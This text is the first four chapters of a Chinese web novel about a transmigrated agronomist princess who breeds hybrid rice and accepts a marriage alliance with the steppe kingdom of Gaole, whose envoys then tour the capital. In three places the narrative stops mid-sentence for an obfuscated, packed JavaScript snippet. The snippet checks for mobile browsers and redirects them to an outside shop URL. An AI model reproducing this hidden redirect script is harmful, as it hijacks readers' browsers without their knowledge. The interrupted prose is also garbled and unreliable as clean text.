《和亲公主草原种田记》 1. 第一章 征平十一年仲夏,晴空万里,天朗气清,正是一片祥和盛景。 恒昌殿内,紫铜错金兽纹博山炉正徐徐吐香,洁白如雾的香蜿蜒升腾,勾勒出一片岁月静好之象。 蓦然,香雾断开,一则飞书急报打破了殿内的平静。 大行令显然是小跑而至,额上满是汗珠,匆匆行过揖礼,便手捧飞书,急言道:“陛下!高勒此次进京,竟意图求娶永康公主!” 内官郑德贤听此,面皮隐隐一抖,赶忙掩下神色,接过飞书送至景帝的手中。 景帝穆毅听此消息,只觉耳边炸起一声惊雷,径直伸手抢过飞书,粗粗看过。 一字一句看罢,景帝只觉得脑转耳鸣,浑身发软。 他的永康,他的穆云,他的女儿! 景帝不知道,到底是何人透露出了穆云的消息。 他分明已经从民间遴选出了一位才貌俱佳自请和亲的姑娘,只待十日后行了册封典礼,这位新的“公主”,便能下嫁高勒,成为高勒新一任可敦。 自古联姻,公主从来只是一个名号,这一回,高勒竟胆敢口出狂言,妄图求娶他的亲生女儿!这可是他的独女! 景帝哪里肯? “砰!”穆毅拍案而起,“此蛮夷之辈,竟有如此痴心妄想!我景国之民肯下嫁高勒,屈尊就卑,便是那蛮夷之福。此次竟妄想求娶朕的永康,哼!简直是不知所谓!” 帝王之怒,惹得大行令和几位内官只敢伏地静默,一时间,恒昌殿内阒然无声,只能听见景帝的怒喘。 景帝暴怒之时,御史大夫在外求见,打破了殿内的凝重气氛。 景帝勉强按捺住胸腔内的怒气,颓然抚膺坐下,摆摆手让内官宣他进殿。 殿门应声而开,来人身姿颀长,面貌方正,闲庭信步,从容自若,通身的气派,一瞧便知此人简在帝心,常在御前行走。 御史大夫李泽一进门就瞧见了大行令,作揖后便蹙眉开口:“陛下,可是两国联姻一事有异?” 景帝将那飞书传给他一观,站起身来负手疾走了几步,愤懑道:“润德,你瞧瞧这高勒,蛮夷之族,竟也敢垂涎我的云儿!” 闻言,御史大夫也心中一凛,这高勒竟如此大胆! 天下谁人不知,永康公主穆云乃圣人长女,自幼便由圣人亲自教导,去年又立了盖世之功,实乃千金贵体,怎可下嫁蛮夷? 只是…… “陛下,兹事体大,臣以为,应当先问过公主的意愿……” 穆毅拂袖,怒道:“怎么?难不成你也以为,要让公主下嫁那蛮夷不成?” “陛下——”李泽深深行了一揖,言辞恳切道:“前朝暴虐无道,恣凶稔恶,百姓处于水深火热之中。我景朝以战立国,如今尚不足十年。本该轻徭薄赋,保养民力,偏那北狄又连年来犯,战事频频,百姓苦不堪言。去岁正是与高勒联手,才得以大败北狄,将前朝失地收回。而今若与高勒交恶,倘战事又起,难保高勒不与北狄狼狈为奸,两国共同来犯,恐怕危害我景国国祚啊!” 穆毅又哪里不明白这个道理,景国政权根基尚浅,立国之战又实在艰辛,立国之初,十室九空,民生凋敝,如今本该与民休息,若战事又起,难免劳民伤财。 且如今政事尚未清明,世家大族势力盘根错节,若再与高勒宣战,内忧外患,难保无人动心,祸乱朝纲,横征暴敛,搜刮民财。 到那时,刚太平了几年的天下,便又会狼烟四起,流血浮丘。 可这太平盛世,两国邦交,真要以他的女儿作为代价? 国力衰微啊,终究是他这位君主无能…… 景帝深深叹了一口气,“润德啊……朕只恨朕才薄智浅,连这守成之君都当得如此艰难,倘若阿兄还在……” “陛下!”御史大夫李泽开口打断了景帝将要吐出的话。 “臣以为,当下实在不是与高勒交恶的时候。去岁镇边大将军与高勒联手,大败北狄,而今正是两国交好的时机。高勒大汗年事已高,且有痼疾在身,正值权力交替之际,若是能与高勒下任大汗交好,公主即便是当了几天高勒可敦,只待下一任大汗就任,也能借机归国荣养。” 御史大夫此计一出,大行令头上便又冒出了一头冷汗。他同番邦外族打的交道最多,此计实在太险,变数极大,与那高勒四台吉联手,无异于与虎谋皮。只是如今,最重要的是保住联姻,稳固边塞。 “那使团是由高勒四台吉率领,此子勇武异常,此次大败北狄,属他居功至伟。且其身负一半汉室血脉,想来便是合谋的最佳人选。” 大行令一边说,一边呈上了高勒四台吉乌恩其的资料。 缣帛之上,绘有乌恩其的画像,剑眉星目,鼻若悬胆,唇若涂朱,气宇轩昂,足足身长八尺,膀大腰圆,眼神凶恶,瞧着就不是个好相与的模样。 只要细细一瞧,便能从那硬朗的眉弓,深邃的眼窝和棕色的瞳孔看出,此人有外邦血统。 “乌恩其此人我也有所耳闻,依臣所见,此人确实可用……” …… 恒昌殿内的筹谋布局被冷硬的宫墙门窗封住,远在公主府的永康公主还对此一无所知。 依照前朝旧例,公主成婚后才可离开皇宫开府别居,但永康公主甫一及笄,景帝就将前朝摄政王的府邸修葺一新,赐给公主居住。 前朝的摄政王府,虽说经历战乱,但修葺之后,依旧是丹楹刻桷,雕梁画栋,亭台楼阁无数,居室繁多。 别说公主府,就是寻常王府也无如此规模。 然而穆云最常停驻的,还是岁稔斋,这是她办公的场所。 穆云自小得景帝亲自教导,自及笄后便统管景国桑蚕织锦之事,又精于农政,徵辟了不少精通农事、水利的官员,去年又和大司农一起编写了《治蝗书》,晓喻天下,将一场蝗灾覆灭于初起之时,免了一场饥荒,立下了举世之功。 自此,朝堂之上,史书之中,永康公主的大名再无人可撼动。 岁稔斋内,紫铜冰鉴正冒着寒气,侍女白芨从中取出一盘挂着冰霜的葡萄。 透过冉冉升起的霜雾,只见永康公主正端坐在书案后,只梳着简单的飞仙髻,钗环寥寥,衣饰简单,却难掩其姝丽容色。 此刻,公主正奋笔疾书,面容端丽,沉静专注,眼中只有那未完成的信笺。 待冰镇葡萄浑身渗出水滴,凉意已缓,穆云也正好搁笔。 “公主,这葡萄湃好了,您尝些吧?”白芨一边说,一边剥了一粒葡萄。 紫色的葡萄皮被剥开,露出里面莹润碧绿的果肉,丰沛的汁水被果肉勉强锁住,像是下一刻就要溢出来。 葡萄被喂到了嘴边,穆云将果肉吮吸进去,眼睛却还黏在书案之上,检查着书信是否妥当。 “嗯……是不错,香甜多汁,比昨天那一串甜些,这棵藤好,让农庄日后多扦插一些。” 穆云一边说,一边拈起写好的信,塞进了信封之中。 “公主,可是要请大司农前来?”侍女白芷搁下一杯解暑的银花茶,问道。 “对,你带着信,亲自去请大司农前来。” “喏!”白芷笑着应下。 见穆云忙完,白芨又凑了过来,“恭喜公主如愿以偿,这一回的稻穗,比寻常水稻的稻穗多了数倍!要是传了出去,那太史令又得夸您是天上的星宿下凡不可!” 穆云也十分兴奋,自景国立国以来,她找寻多年,才总算找到了不育株,免去了水稻掐雄的困扰,又经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341364|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过多年培育,这杂交水稻才总算是成了!虽说只做到了增产,其余的性能还未能改善,但也算是一大进步了。 如今立国时间尚短,景国人丁凋敝,壮年劳动力缺乏,最紧缺的便是粮食,如今高产良种一出,天下又能早太平几年了。 “这才是第一代,尚有诸多不足,抗倒伏、耐贫瘠和抗虫害能力都还有进益余地,不过有了经验,以后总能研发出更好的种子。” 穆云眼中满含希冀,这是她的第一个作品,作为21世纪胎穿过来的农学生,穆云最害怕的就是被这个世界同化,忘记了自己的来路,失去了自己的本领。 如今,她靠着自己前世的知识培育出了杂交水稻,这足以证明,那遥远的前世并非南柯一梦,而是真真切切存在过的现实。 历经了那一世,她才坚信,人定胜天,事在人为。只要坚持,她总能看见河清海晏,时和岁丰的世界。 “白芨,庄子上的葡萄还有多少?再给宫里多送一些,上次阿翁和琮儿都说喜欢呢。”穆云嘴里吃着香甜多汁的葡萄,心里还惦念着宫里的亲人。 “庄子上的葡萄还多着呢,按公主的话,庄子里的平地是试验田,山地则全种着葡萄,足够给宫里供了。这葡萄是咱们别庄独一份儿的水果,卖价很高,林管事今年可是乐开了花,只是公主下令将葡萄藤分出去给果农扦插,以后这价钱恐怕会越来越贱了。”白芨答道。 “价钱贱些才好,布衣荆钗之辈才是我景国的根本,百姓衣食所安,才是国家安稳之源嘛。”穆云一边说,一边躺上摇椅,伸手往嘴里塞着葡萄,又有白芨打扇,别提多清闲安逸了。 “是,奴婢也喜欢吃葡萄呢,当初商队从西域把这葡萄藤带回来,我还不在意,没想到这西域的果子如此香甜。” “确实比咱们本土的葛藟甜多了,以后尽可将葛藟都做为砧木,嫁接这西域的葡萄藤。西域的好东西可不止这点儿,如今只带回来葡萄、胡瓜和苜蓿,待日后商队扩张,定会带回来更多的好东西。”穆云畅想着日后,忍不住笑了出来。 穿越到一个架空王朝,最令人不习惯的就是饮食了,不同于日后汇聚天下美食的华国,在如今的景国国,最常吃的菜是后世餐桌边缘的葵菜。 想要恢复到前世的饮食水平,只能靠着海陆商队的搜寻了。 穆云惬意地吃完了一盘子葡萄,就听白薇来报。 “白薇?怎么是你?大司农到前厅了吗?” 穆云站起身来,疑惑地问道。 “公主,方才林中官传了陛下口谕来,请公主进宫一趟。” 穆云不明所以地皱眉,阿翁怎么会突然召她入宫?往日都是休沐日才会召她入宫用膳。 虽然疑惑,但穆云还是迅速整理好衣着,跟着林中官一同入宫去了。 哒哒的马蹄声富有节奏,紧促急了,引得马车内的穆云莫名有些心慌和不安,隐隐觉得有什么大事将要发生…… 公主府离皇宫极近,马车很快停下,又转乘轿辇,等到了长乐宫椒房殿,也才不到半个时辰。 “椒房殿……”穆云看着眼前恢弘庄严的宫殿,沉吟了片刻,更加不懂阿翁传召的用意了。 椒房殿本是皇后的居室,但她的阿母死于景国初立之时,当时景帝登基大典尚未举办,更遑论立后大典,所以至死,她的阿母都未真正母仪天下。 但景帝在登基大典之时,就追封了她阿母为皇后,即便是后来继后入宫,也只赐居了仪元殿,这椒房殿依旧空置,只存放了她阿母的遗物。 这宫殿是按照昔日穆家旧宅布置,其中摆放的物品也都是阿母生前爱物,进入殿内难免睹物思人,是故阿翁并不让她和阿弟靠近。 如今,怎么会突然让她进椒房殿? 2. 第二章 到了椒房殿正殿门外,林中官挥手将众人屏退,仅留穆云一人入内。 穆云推开正殿门,景帝正背对着殿门,望着亡妻的画像出神。 画面中的人恬淡娴静,朱唇粉面,如远山芙蓉,风华绝代。可惜斯人已逝,佳人的容颜只得在绢帛上停驻。 “阿翁。”穆云出声打断了景帝的思绪。 “云儿,”景帝回过头来,道:“你来了,快坐。” 虽说是皇家,但穆云是景帝一手带大的姑娘,自然不会拘礼。 穆云依言坐下,案几之上,摆放着熟悉的茶具。 “这是你阿母最喜欢的一套白玉餐具,原是用来吃茶羹的,记得你小时候不爱吃茶羹,偏爱喝煎茶,你母亲便为你打造了一套新的茶具,从此之后,咱们阖家上下都换了口味。” 景帝一边给穆云倒茶,一边将往事娓娓道来。 热茶入了杯盏,激起一片带着甘苦茶香的水雾,穆云脑海中也忆起了往昔。 她是阿翁和阿母的第一个孩子,又是穆家新一代中唯一的一名女子,自小就是千娇百宠着长大。 当初因为实在喝不惯新鲜茶叶熬煮的羹汤,阿母便和她一起完善了茶叶的杀青、烘干之法,做出了这世间的第一杯绿茶。 从此,不需要再加果子和各种香料压制新鲜茶叶的苦涩之味,只需要用热水一激,就能泡出一杯甘香的茶水。 热水泡茶和以往的茶羹不同,用吉金碗来盛显然有些粗犷,阿母便为她设计出了一套玉质茶具,小小的茶盏杯碟,不到巴掌大,用白玉雕成,通透油润,不见半点杂色,杯盖饰以玉兰,杯盏饰以缠枝,精巧无比。 “是……孩儿记得。那套茶具还在我的寝宫,只是有些小了。” “是啊……茶杯小了,我的云儿,也长大了。”景帝看着穆云,目光悠远,仿佛正透过她,寻找着别人的影子。 “阿翁,可是前朝出了什么事?”穆云皱眉问道。 面对穆云的追问,穆毅只觉喉头泛起一丝苦涩,他狼狈地错开穆云的眼神,站起身来面朝殿门,背对着穆云,也背对着亡妻的画像,竟差点儿连脊背都打不直了。 停顿了许久,穆毅才艰涩地开口:“此次高勒使团进京,竟是想求娶永康公主。” 穆云瞳孔紧缩,倒吸了一口凉气。和亲的消息如晴天霹雳一般劈入了她的心头。 “怎会?历朝历代,从未有过嫡亲公主和亲的先例。那高勒远在天边,又怎会得知我的名号?”穆云皱起了眉头。 景帝徐徐叹出一口气来,目光一冷,说道:“定是前朝后宫有奸佞胆敢通风报信!你去岁才治蝗有功,如今就敢有人谋划和亲之事,分明是有人谋划已久。” “高勒使臣既然前来求娶,且指定了我的名号,阿翁,此事怕是已无转圜之地。”穆云握紧手中温热的茶杯,心中一片冰凉。 “云儿……”景帝面朝殿门,嗫嚅了许久,才吐出一句完整的话来:“北狄频频来犯,东北战事连年吃紧,如今西北兵力亏虚,若是此次与高勒交恶……” 说到了后面,穆毅的喉头愈发苦涩,再也挤不出更多的话来。 “父皇!”穆云搁下杯子,心中已经有了决断。 “我身为皇室公主,食邑数千户,得万民奉养,岂能冷眼旁观我景国军民再次陷入战火纷飞之中?若是舍我一人,能免一场战乱,便是去那高勒一趟又有何妨?” 穆云此话一出,景帝早已弯下了脊背,背对着爱女簌簌落下泪来,他的云儿,不仅仅是他的女儿,更是景国国的公主啊! 良久,景帝才整理好情绪,吐出一句话来:“若是……若是当初你伯父未亡,阿爹没坐上这个皇位,云儿也不必……” “阿翁。”穆云打断了景帝的话,“位愈尊,其责愈重,阿翁身为天子,担负万民之生计,我身为公主,得万民奉养,如此自怨自艾之语,如何说得?” 看着穆云坚定不移的目光,景帝又是险些落下泪来。 “我晓得,我的云儿最肖她的阿母,心怀大义,胸有沟壑。只是这骨肉离别之苦,为父如何忍得。” 此时的穆云已经消化好了和亲之事,她压住心中的惶恐,冷静地开口:“阿翁,和亲之事,也正是和高勒交好的机会。去岁正是与高勒联手,我景国大军才能收复前朝失地,一雪前耻。若是两族交好,开通商道,互换有无,反而于我朝有利。” 穆云胸中自有成算,但景帝哪里忍心让她受苦? “那高勒地处偏远,夏日黄沙漫天,冬日雪虐风饕,气候甚是恶劣。且物产不丰,生活实在艰苦。你又于农耕之道颇有研究,去那不毛之地,实在浪费了你这一身禀赋。” “偏远之民,亦有其生存之道,高勒国土能养万民,想来也是水草丰茂之地,去了高勒,说不定我还能有另一番造化。如今我已培育出了杂交水稻,也培养出了几位可用的农政之才,后续水稻的培育尽可交给她们。”穆云徐徐说出杂交水稻已成的好消息。 “水稻良种已成?”景帝闻言一喜,竟然暂时忘却了面前的一大难关。 “是,依照稻穗推算,可比原先的水稻增产三成以上!只是此物需连年育种,否则产量会急剧下降。只是父皇,这育种之法,只可由我穆家忠臣掌握,万不可令世家染指。”穆云强调道。 “好!好!”景帝听见这个消息,都顾不上伤心了。 农耕是大事,粮食就是人命,若是日后将这稻种推广,来年岁稔年丰,百姓安居乐业,民富国强,到那时,又何惧别国威胁? “前朝覆灭不过十年,我朝还根基尚浅,依儿所见,此粮种可谓之天赐祥瑞,以彰显我朝正统,为天命所归。” 穆云这番话一出,景帝起身激动地拒绝:“这粮种是云儿你数年的心血,怎可以‘天命’二字所代?我儿永康的功绩,足以泽被万世,自当丰碑立传,著书立说,流芳千古!怎可已‘天命’之说一言以蔽之?” 穆云却依旧镇定地坐在原位,慢慢饮完了杯里的茶。 “我育稻种,只为天下,无意名利。自立国以来,战事频发,皇朝政权根基尚浅,如今良种现世,正是安抚民心,稳固政权的好机会。乱世殃民,盛世安民,我只愿这天下,不再有战乱纷争,动荡不安。” 穆云出生之时,正是天下最动荡的时候,前朝暴虐无道,狼烟四起,世家大族均加入了这场瓜分天下的“游戏”,百姓流离失所,生灵涂炭。 当时被牢牢护在羽翼之下的穆云,都亲眼目睹了几桩惨剧,就连她的大伯一家,也亡于东方欲晓之时。 小小的穆云,看着那几桩惨剧,无比怀念起和平安稳的前世,连续梦魇了数日,直到穆氏立国,天下初定之时才真正定下了心。 穆云万万不想回到之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341365|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵荒马乱的时候了,穆家的政权,必须快速稳定下来,震慑宵小,安定民心。 在穆云的极力劝说之下,景帝最终还是同意了她的提议,看着穆云坚韧的面容,景帝眼中满是欣赏和动容,不愧是她的女儿…… “对了,阿翁,此次虽由我联姻,但李家的姑娘也是大义之辈,安乐公主的名头她担得。依儿所见,册封典礼应依旧举行,并赐食邑千户,以轨物范世,彰显我朝圣德。”穆云话头一转,又提到了本该与高勒联姻的安乐公主。 李逸云出身商贾,虽说出身低微,但才貌双全,身怀大义,此次自亲参与遴选,历经层层选拔,是早已定下的和亲公主。 只是如今,和亲公主换了人,她这尚未行册封礼的安乐公主,处境便有些尴尬了。 “是,此女心怀家国,确实可为女子典范,便仍旧册封为安乐公主,名牒便挂在你大伯名下,由宗室奉养。” 一言两句间,两人便决定了这位商贾之女今后的位置。 “高勒使臣还未进京,和亲之事,先不要外传。”景帝叮嘱道。 “嗯。那阿翁可否赏脸,去公主府瞧瞧那丰产的杂交稻?” 杂交稻景帝自然是要看的,粮食关乎着社稷安稳,其重要性自然是排在第一位。 景帝亲手把茶盏洗净,仔细擦干收好,再深深地看了一眼屋里的画像,压下心底的愧疚和不舍,缓缓关闭了殿门。 …… 很快,穆云便带身着一袭常服的景帝回到了公主府。 此时,乐翻了天的大司农早已恭候多时。 “陛下!天佑我景国啊!老臣如今可信那太史令的话了,公主真乃星宿转世,下凡造福我景国万民来了!” 眼瞅着大司农满脸的喜色,景帝便知,这次的杂交稻,肯定是不一般。 “好了,快带孤去看看。” 即便是有了心理准备,但看到那坠满稻穗的杂交稻之后,景帝还是震惊地倒吸了一口凉气。 身为天子,每年的籍田亲耕之礼他都是格外重视的,秋日丰收时,他也多次躬耕于田地,自然晓得正常的稻穗是什么样。 眼前的每株水稻,分蘖多,抽穗数量也十分可观,抬眼简单估算,就知此良种增产定不低于三成。 三成!若是推广开来,何愁万民再忍饥受饿,何愁国库不丰,何愁不能国富兵强? “好!公主府能得此祥瑞,是我景国之福!刘卿,下次上朝,你便带上这祥瑞之稻,贺一贺我景国社稷之福!” “喏!”大司农深深作了一揖。 景帝摆摆手,大司农便挂着笑脸离开了公主府的外院,轻快的脚步声,倒显得他似返老还童了一般。 “阿翁,培育杂交稻一事,尽可交给白芷,她受我教导,于此道已颇为精进,另有几位侍女和农官,尚有几分经验,亦为可用之才。”穆云起身,唤了白芷的名号。 身着一袭碧色短衣襦裙的侍女仓促行了个福礼,显然是十分措手不及。 “好。那就封她为御稻内史,专司御稻育种之事,位居太仓令之下,其余人等,便皆为其属。” 景帝金口玉言,一句话就给白芷封了个从八品官。 白芷连忙谢恩,颤抖的音声中能听出她的激动和开心。 虽说只是从八品官,但对她这女子之身来说,已经是改换门庭,平步青云了。 3. 第三章 待景帝回宫,白蔹、白芷、白薇等人面上都露出一分急色,白芷忍不住开口:“公主,此次进宫,可是有何异变?怎么仓促之间便给婢子封了官?这杂交育种之法,分明是公主更为精通,奴婢卑贱之躯,怎敢挑此大梁?” 穆云叹出一口气来,道:“此次入宫,是商议联姻之事,高勒使臣即将进京,想要求娶的是我。” 听了这话,几位侍女都变了脸色。 她们都是公主少时搭救的一群孤女,自小就跟着公主,情谊自然不一般。 “高勒竟如此大胆?那茹毛饮血之辈,怎敢妄想公主?”白芨皱眉,愤愤不平道。 其他几人不言,但脸上的神色无一例外均是对白芨的赞同。 “如今景国国库尚且空虚,北狄又屡次来犯,高勒虽地处偏远,却有好马良将,此时确实不宜与之交恶。”穆云皱眉道。 “但公主千金之躯,怎可入那不毛之地?我愿追随公主,患难与共!”白芷跪地,行了个拜礼。 其余几人也依样行礼,誓要追随公主。 但穆云却不打算让她们都同去高勒,她虽要去外邦,但京城也得留人不可。 景国根基尚浅,如今世家势大,朝廷地方众多官员,均是各大世家察举提拔,如若不是军权在手,又废除了部曲私兵之制,想来早已压制不住各大世族的狼子野心。 她必须得在京畿留下自己的耳目。 “白芷,你精通农政,便留在朝廷,好好当你的农官,桑蚕之事我会交由织锦令丞刘琦主管,还有我往年征辟的几位官员,你可与之交好,互通政事。” “白蔹,如今云家名下的酒楼、粮店、田庄和商队众多,茶酒粮布,皮毛首饰,造纸印刷均有涉足,你也留在京城,帮着我继续经营这些产业。如今高勒使臣即将进京,你将今年新产的好茶拿出来,过几日我带你去谈一笔大生意。” “白薇,你学问好,也留在京城,女学我已经筹办好了,我会去求见阿翁,令安乐公主主管女学,你便辅佐安乐公主,将女学办好。我云家商队所及之处,皆办了乡学,开了书铺,专供寒门读书,如今也是见成效的时候了。过几日上朝,我便会上奏,废孝廉,改科举。既然宫里那位容不下我,我也得在这世家身上撕下一块肉来!” “至于白术和白芨,你们二人一个精通医术,一个精通拳脚,可愿随我一同前去高勒?” 几人自然一一应下,接受了穆云的部署和安排。 得了和亲的消息之后,穆云就带着几人动员了起来。 高勒偏远,万事都得做好准备才行,粮食被服暂且不说,必备的草药至少得准备好。 …… 五日后,便是高勒使臣进京的日子了。 盛夏时节,街上的行人却极多,盛京一片繁华之象。 高勒使臣随大行令入城之后,东西两市便流言四起。 使臣一行人身着胡服,骑着高头大马,身材健壮,虎背熊腰,孔武有力,打眼一看便知是外族。 外族之人少见,大伙儿自然是十分好奇,许多人都包了周边的饭馆茶肆,临窗查看。 “啧,这高勒的马儿的确是好,身上虽无马鞍和马韂装饰,但看那体格,那肌肉,一眼就能瞧出不是凡品。” “这带头的好像是高勒的四台吉吧?听说他还有我汉室的一半血脉,瞧着确实比周边几个要勇武俊俏一些。” “是挺勇武,面相也英俊,倒是配得上我景国的女儿家。” “这高勒果真是穷苦,连使臣都穿着粗布短衫。你看,那人的胸膛都差点儿露出来了,果真是蛮夷之辈,不知礼数。”有人拿手里的扇子指点起窗外的使臣。 “啧,如今天热,你在自家宅子里指不定是如何袒胸露乳呢!怎么?是嫉妒人家这一身好体格不成?”有人一边饮酒,一边打趣道。 这话可是点戳了那人的笑穴,“哈哈哈哈哈……嫉妒此等蛮夷?你我出身世族,历代皆是钟鸣鼎食之家,你说我嫉妒这蛮子?” “哼,钟鸣鼎食之家……要是高勒和北狄打进来,无论是士族还是百姓,都不过是俎上鱼肉罢了。只希望此次联姻顺利,两国结好,为我景国赢得喘息之机……” …… 大行令将一行人安置在蛮夷邸,便进宫复命去了。 使团足有百人,大多安置在后院偏厢,只有乌恩其和亲近的几位使官被安置在前院正房。 高勒使官一行人进了蛮夷邸正房,都忍不住打量了起来。 “这屋子瞧着确实比毡帐好看些,就连门窗都有雕花,倒是雅致。”阿日宾笑着说。 乌恩其也不动声色地打量起屋里的摆件,他还是头一回来景国呢,果然是富庶之地,一步一景,处处都透着不凡。 “不愧是中原,你们瞧瞧,这满屋子的雕梁画栋,也不知费了多少人力物力,还真是会享受。”巴图声如洪钟,用高勒话说道。 不等其余人回答,乌恩其轻轻往门外一瞥,众人便都噤了声,屋里霎时间便安静了下来。 下一刻,门外就响起了脚步声,有侍从在外求见,“各位使官,方才接待得匆忙,屋里没备上热茶,小人这才送来了。” 译长将这话翻译为高勒语,巴图这才开了门,盯着两位侍从和译长。 蛮夷邸的侍从把各个茶杯都倒上热茶,这才躬身退下。 茶水一出,满屋飘香,闻着令人通体舒畅。 乌恩其率先端了一杯,抿了一口,又机警地吐了出来,皱眉问道:“这是什么水?怎么是苦的?” “这是普洱茶,由先皇后及永康公主所创,是近年最时兴的饮品。有消食生津醒脾之效。听医官说,高勒新鲜菜蔬少,易生脾虚之证。脾虚不得统血,就易出血,瘀血积滞,阻碍气机,其人倦怠乏力,骨节烦疼,这茶叶,正是对症的饮品。” 听了译官的话,巴图眼前一亮,也不嫌弃那一丝苦味儿了,直接猛灌了一大口。 “难怪呢,我喝着这水确实是舒服!入口虽苦,咽下却有回甘呢!你们的医官还对我高勒的疾病有了解呢?这茶贵不贵?我们买些回去。” “贵人言重了,这茶叶贵贱皆有,上至官家,下至百姓,都有合适价钱的茶水可喝。东市的茶叶铺子最多,贵人尽可带着译官去逛逛。” 乌恩其抿着嘴里的茶,另一只手无意识地拨弄着手里的红玉扳指,眼里闪过一丝忌惮,看来这景国对高勒的了解不少。 高勒入冬之后,牧草野菜尽数枯黄,确实没什么菜蔬可吃,就算是春夏,那野菜也都是有数的,供不上每日吃食。 和那位译长说的一样,高勒各部族确实经常有人身长瘀斑,骨节疼痛,口齿出血,甚至每年都会有不少人因此去世。 若是这茶叶真的有效,每年与景国通商需要采购的就不止是布匹和粮食了,此物关乎生计,高勒和景国的关系也得细细考量才行。 “台吉,咱们要不去茶叶铺子逛逛?听那位译长所说,茶叶铺子里有好几个等级的茶叶呢。”巴图将茶壶里剩下的茶水都灌了个饱,建议道。 “再去药铺逛逛吧,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341366|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景国一个译长都通医理,想必这景国的医药也发展得不错。高勒自古就缺医少药,若是能买一批药材回去也好。”阿日宾也提议道。 他是高勒使团的医者,也是乌恩其的智囊团之一,自然对景国的医药更为看重。 “那我们就出去逛逛,巴图,记得带上银钱。”乌恩其喝完了茶杯里头的最后一口茶水,眸中兴味十足。 “哪需要众位使官破费?大行令大人已经吩咐过,要带各位使臣出去看看我盛京的风貌,也好尽一尽地主之谊,这银钱哪需要众位使官出?小人这就吩咐人去准备马车。” “哪需要马车?咱们骑马去就成。”巴图大大咧咧地说道。 这个时代的马儿珍贵,为了减轻负重,大多数马车都做得逼仄狭小,大伙儿自然更愿意骑马。 “各位使官日夜兼程前来,想来马儿也疲累了,若是各位使官想骑马,不如现下去马厩里挑几匹看得上眼的?” 几人对视一眼,显然都对这景国的马有些许好奇。 “也好,那咱们就试试你们景国的马儿。”乌恩其答道。 “小人这就去准备出门用的东西,各位大人先随这位侍从去挑马吧。” …… 穿过长廊,众人就看见了院子里的马厩,使臣刚刚进京,马儿们也才歇息,现下正在马厩里头吃草料。 “这是什么草?我的马儿竟吃得这么香!呦,还有这么多豆子和麦粒呢。你们景国的马闲时也吃这么好?”巴图看着喂马的侍从给马儿们添粮,不由好奇问道。 在高勒,马儿只有赶路和作战期间才会□□粮。毕竟高勒的粮食尚且不够供给人吃,怎么会随随便便用来喂马呢? 那侍从可不懂高勒语,此时译长又不在,只能慌忙摆了摆手,作揖认错。 巴图祈求地看了一眼乌恩其,乌恩其无奈将他的话翻译成景国的官话。 没错,他是会汉话的,他的母亲虽然是汉室女奴,却也出身于一个破落世家,是个才貌双全的女子,教会了他不少道理,自然也教会了他汉话。 听了乌恩其的翻译,那位侍从这才介绍起马槽里的牧草。 “这草叫做苜蓿,是商队从西域带回来的牧草。别说马儿爱吃,就连人也爱吃呢,只是过于寒凉,不可多食。这草和寻常牧草不一样,牛羊吃了爱长肉,马儿吃了也长力气,又不挑地方,多贱的土都能长,据说还能肥地,近年来种得越发多了。” 听了侍者的话,乌恩其若有所思。 草原上的牧草众多,但不是每一样牧草都好,有些牧草不过勉强果腹,牛羊吃了长肉也慢,而且这苜蓿居然还是一种野菜,人也吃得。 西域……照理说他们高勒倒是离西域更近一些,若是能开拓去往西域的商道,把这些好东西带回来,高勒的部族说不定会发展得更好些。 “台吉,他说的什么?”巴图催促着乌恩其替他翻译。 乌恩其无奈一笑,“你们几个,来的路上我就说要教你们汉话,非要偷懒,看吧,如今稍微长一些的话就听不懂了,以后还怎么和景国打交道?” 抱怨了一番之后,乌恩其还是给巴图等人翻译了一番。 “这牧草这么好?不知道市集上有没有草籽卖,咱们带回高勒去,给咱们的草原也撒上。” “牧草是给牲畜吃的,能有人重要?台吉,我们还是先去茶叶铺子,看看茶叶吧?”阿日宾显然更加迫切地想要知道茶叶的贵贱以及功效。 “先去茶叶铺子看看,这苜蓿草籽日后再说。快挑马吧。” 4. 第四章 景国蛮夷邸内的马,自然不如高勒的良驹,身型矮小,马腿也没那么健壮,几人细看了,勉强各挑了一匹。 待几位使臣挑好马,负责管理马厩的仆从便熟练地为每匹马装上衔铁、马辔、马鞍、马镫等物。 人靠衣装马靠鞍,蛮夷邸的马具簇新又精美,本来普通的几匹马有了这一身行头,竟也显出几丝不凡来。 高勒是马背上的国家,乌恩其一眼就看出这身行头的不一般。 特殊的不是其材质,也不在于其精致的雕饰,而是在于其特殊的形状。 这马鞍比寻常马鞍高上几分,马镫也比高勒的多了一个。 乌恩其翻身上马,手握缰绳,只骑行了几步便感受出这马鞍和马镫的好处。 